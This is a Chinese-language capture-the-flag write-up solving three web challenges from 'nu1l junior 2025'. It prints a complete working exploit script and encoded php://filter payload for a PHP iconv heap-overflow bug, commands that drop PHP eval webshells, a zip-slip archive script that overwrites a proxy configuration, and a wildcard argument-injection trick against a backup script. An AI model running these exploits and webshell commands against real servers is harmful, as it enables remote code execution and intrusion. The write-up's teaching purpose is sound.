文章

nu1l junior 2025 部分web

一共写出来3道题目,剩下两题其实也很接近,只是分别因为对Java和csp不熟悉导致最终没写出来,哎

Gavatar

upload.php传入url,有任意文件读取,flag没权限

想到一个缓冲区溢出的cve,复现一遍就行

读取/proc/self/maps和libc.so.6,放在本地,运行修改后的脚本得到最终paylaod如下

php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.L1.L1|dechunk|convert.iconv.L1.L1|dechunk|convert.iconv.L1.L1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.L1.L1/resource=data:text/plain;base64,e3vXsO+JmRhbwrH3JiFTV0XJanzw8U9n+8Z1iKeUV72vhkv+bOf7jf2PdMQi3Lm/MFk/+974Y/4KMY2V8oErs1gZ8IIErtNFR0Lzwlcmh+VvvB71TOwkGyN+HTOObJIpnHo79NWMq9Fvtk7b6brJEb8GBrWNOu4xT8umWqV9Fatem5o3MUeAgBWnam8+0vqqVXom6218w/vHYfvla378yLz9elP9yeZd6/N/n/79/5Xb5J6vXv/P80tN/GNDwAEf/r+LXDz9uNmpGWuj35zfdT33/5dt/0vuX9/+92nt+q3913etf/0v8/f5z5V/g/5X1ar8T8Vv3I/1d/bHyivsr99t51D33yotPvvNef/fn0vr6949Dvt++3Zd/V6+a38Df0fE/2Y/+X7+r5PPk+vvfX++zf7++uy4b7+f//23b/+VOiNj/3XXU/XP/90Zk513Pej99aCZ3/9OvBzztkz36zb763V/Km7nr7//fhL3vf1fjv7+OP212/v74jU7Y4/r33eX+/573XWr+evte49X/3ndu+/P75urEv/cdVOxzycQFJcjpumuC1ofdHzNNQ3j35+3xyvflCOghee5oGS2W7btNo3JHUv+jyoeVTyqmN6KL0dn9c6MK5fM/211Skh1Ui4B5QZ7l16b8bJ0+sdt6xfrBCrdZKOy8WuX5hVOlbK/lGz/qXBxTUf9FPu6/z+nBykdKiOgc8a1oO07vHrlX26UNz3F3s1xm0BlkxDlffeRlmndkuN1VzTkdZT+cQIA

附脚本

from __future__ import annotations
import base64
import zlib
import re
from pathlib import Path
from dataclasses import dataclass
from pwn import *
from zlib import compress
from requests.exceptions import ConnectionError, ChunkedEncodingError
HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")
@dataclass
class Exploit:
    maps_path: str
    libc_path: str
    command: str
    heap: str = None
    pad: int = 20
    def __post_init__(self):
        self.info = {}
        self.heap = self.heap and int(self.heap, 16)
    def get_regions(self) -> list["Region"]:
        with open(self.maps_path, "r") as f:
            maps = f.read()
        PATTERN = re.compile(
            r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
        )
        regions = []
        for line in maps.splitlines():
            if match := PATTERN.match(line):
                start = int(match.group(1), 16)
                stop = int(match.group(2), 16)
                permissions = match.group(3)
                path = match.group(4)
                if "/" in path or "[" in path:
                    path = path.rsplit(" ", 1)[-1]
                else:
                    path = ""
                regions.append(Region(start, stop, permissions, path))
        print(f"Loaded {len(regions)} memory regions from {self.maps_path}")
        return regions
    def get_symbols_and_addresses(self) -> None:
        regions = self.get_regions()
        self.info["heap"] = self.heap or self.find_main_heap(regions)
        self.info["libc"] = ELF(self.libc_path, checksec=False)
        libc_region = self._get_region(regions, "libc-", "libc.so")
        self.info["libc"].address = libc_region.start
        print(f"Libc base address: [i]{hex(libc_region.start)}[/]")
    def _get_region(self, regions: list["Region"], *names: str) -> "Region":
        for region in regions:
            if any(name in region.path for name in names):
                return region
        print(f"找不到包含 {names} 的内存区域")
    def find_main_heap(self, regions: list["Region"]) -> int:
        heaps = [
            region.stop - HEAP_SIZE + 0x40
            for region in reversed(regions)
            if region.permissions == "rw-p"
            and region.size >= HEAP_SIZE
            and region.stop & (HEAP_SIZE-1) == 0
            and region.path in ("", "[anon:zend_alloc]")
        ]
        if not heaps:
            print("在内存映射中找不到PHP主堆")
        first = heaps[0]
        if len(heaps) > 1:
            print(f"找到多个候选堆地址,使用第一个: [i]{hex(first)}[/]")
        else:
            print(f"使用堆地址: [i]{hex(first)}[/]")
        return first
    def build_exploit_path(self) -> str:
        LIBC = self.info["libc"]
        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
        ADDR_EFREE = LIBC.symbols["__libc_system"]
        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
        ADDR_HEAP = self.info["heap"]
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
        CS = 0x100
        pad_size = CS - 0x18
        pad = b"\x00" * pad_size
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = compressed_bucket(pad)
        step1_size = 1
        step1 = b"\x00" * step1_size
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1, CS)
        step1 = compressed_bucket(step1)
        step2_size = 0x48
        step2 = b"\x00" * (step2_size + 8)
        step2 = chunked_chunk(step2, CS)
        step2 = chunked_chunk(step2)
        step2 = compressed_bucket(step2)
        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
        step2_write_ptr = chunked_chunk(step2_write_ptr)
        step2_write_ptr = compressed_bucket(step2_write_ptr)
        step3_size = CS
        step3 = b"\x00" * step3_size
        assert len(step3) == CS
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = compressed_bucket(step3)
        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
        assert len(step3_overflow) == CS
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = compressed_bucket(step3_overflow)
        step4_size = CS
        step4 = b"=00" + b"\x00" * (step4_size - 1)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = compressed_bucket(step4)
        step4_pwn = ptr_bucket(
            0x200000,
            0,
            0,
            0,
            ADDR_CUSTOM_HEAP,  # 0x18
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            ADDR_HEAP,  # 0x140
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            size=CS,
        )
        step4_custom_heap = ptr_bucket(
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
        )
        step4_use_custom_heap_size = 0x140
        COMMAND = self.command
        COMMAND = f"kill -9 $PPID; {COMMAND}"
        COMMAND = COMMAND.encode() + b"\x00"
        assert (
            len(COMMAND) <= step4_use_custom_heap_size
        ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")
        step4_use_custom_heap = COMMAND
        step4_use_custom_heap = qpe(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
        pages = (
            step4 * 3
            + step4_pwn
            + step4_custom_heap
            + step4_use_custom_heap
            + step3_overflow
            + pad * self.pad
            + step1 * 3
            + step2_write_ptr
            + step2 * 2
        )
        resource = compress(compress(pages))
        resource = base64.b64encode(resource)
        resource = f"data:text/plain;base64,{resource.decode()}"
        filters = [
            "zlib.inflate",
            "zlib.inflate",
            "dechunk",
            "convert.iconv.L1.L1",
            "dechunk",
            "convert.iconv.L1.L1",
            "dechunk",
            "convert.iconv.L1.L1",
            "dechunk",
            "convert.iconv.UTF-8.ISO-2022-CN-EXT",
            "convert.quoted-printable-decode",
            "convert.iconv.L1.L1",
        ]
        filters = "|".join(filters)
        path = f"php://filter/read={filters}/resource={resource}"

        return path

    def exploit(self) -> str:
        path = self.build_exploit_path()
        print("\n[b]最终payload:[/]"),
        print(f"[bright_black]{path}[/]")
        return path
def compress(data) -> bytes:
    return zlib.compress(data, 9)[2:-4]
def b64(data: bytes, misalign=True) -> bytes:
    payload = base64.encode(data)
    if not misalign and payload.endswith("="):
        raise ValueError(f"Misaligned: {data}")
    return payload.encode()
def compressed_bucket(data: bytes) -> bytes:
    return chunked_chunk(data, 0x8000)
def qpe(data: bytes) -> bytes:
    return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)
    return bucket
def chunked_chunk(data: bytes, size: int = None) -> bytes:
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"
@dataclass
class Region:
    start: int
    stop: int
    permissions: str
    path: str
    @property
    def size(self) -> int:
        return self.stop - self.start
if __name__ == "__main__":
    exploit = Exploit(
        maps_path="./maps.txt",
        libc_path="./libc.so.6",
        command="echo '<?php @eval($_POST[\"cmd\"]); ?>' > /var/www/html/shell.php",
        heap=None,
        pad=20
    )
    exploit.get_symbols_and_addresses()
    payload = exploit.exploit()

traefik

本地修改yaml,然后运行脚本,得到poc.zip

import zipfile

if __name__ == "__main__":
    try:
        zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("poc.zip")
        zipFile.write("./dynamic.yml", "../../.config/dynamic.yml", zipfile.ZIP_DEFLATED)
        zipFile.close()
    except IOError as e:
        raise e

修改后的dynamic.yaml如下

# Dynamic configuration

http:
  services:
    proxy:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8080"
        passHostHeader: true  
  routers:
    flag:
      rule: Path(`/flag`)
      entrypoints: [web]
      service: proxy
      middlewares:
        - x-forwarded-for
    index:
      rule: Path(`/public/index`)
      entrypoints: [web]
      service: proxy
    upload:
      rule: Path(`/public/upload`)
      entrypoints: [web]
      service: proxy
  middlewares:
    x-forwarded-for:
      headers:
        customRequestHeaders:
          X-Forwarded-For: "127.0.0.1"

然后进入flag路由即可

backup

非法传参问题,_[2025.happy.new.year解决

发现flag没有权限读取,尝试提权

写木马,发现没权限。。。,只能去primary文件夹写

_[2025.happy.new.year= echo%20'<?php%20@eval($_POST['hack']);?>'%20>%20/var/www/html/primary/hack.php

发现backup.sh

#!/bin/bash
cd /var/www/html/primary
while :
do
    cp -P * /var/www/html/backup/
    chmod 755 -R /var/www/html/backup/
    sleep 15s

done

一开始尝试用在/primary下创建符号链接,但是就算复制到了backup也没法读取

后来发现cp命令中有针对符号链接的选项-H,会把指向的文件复制到符号链接处

由于backup.sh用了通配符,试试创建一个叫-H的文件

命令执行的时候就是

cp -P -H hack.php /var/www/html/backup/

很奇怪,这两个选项互斥但是最后还是成功把flag文件复制到backup而且权限755,还是拿到了flag

许可协议:  CC BY 4.0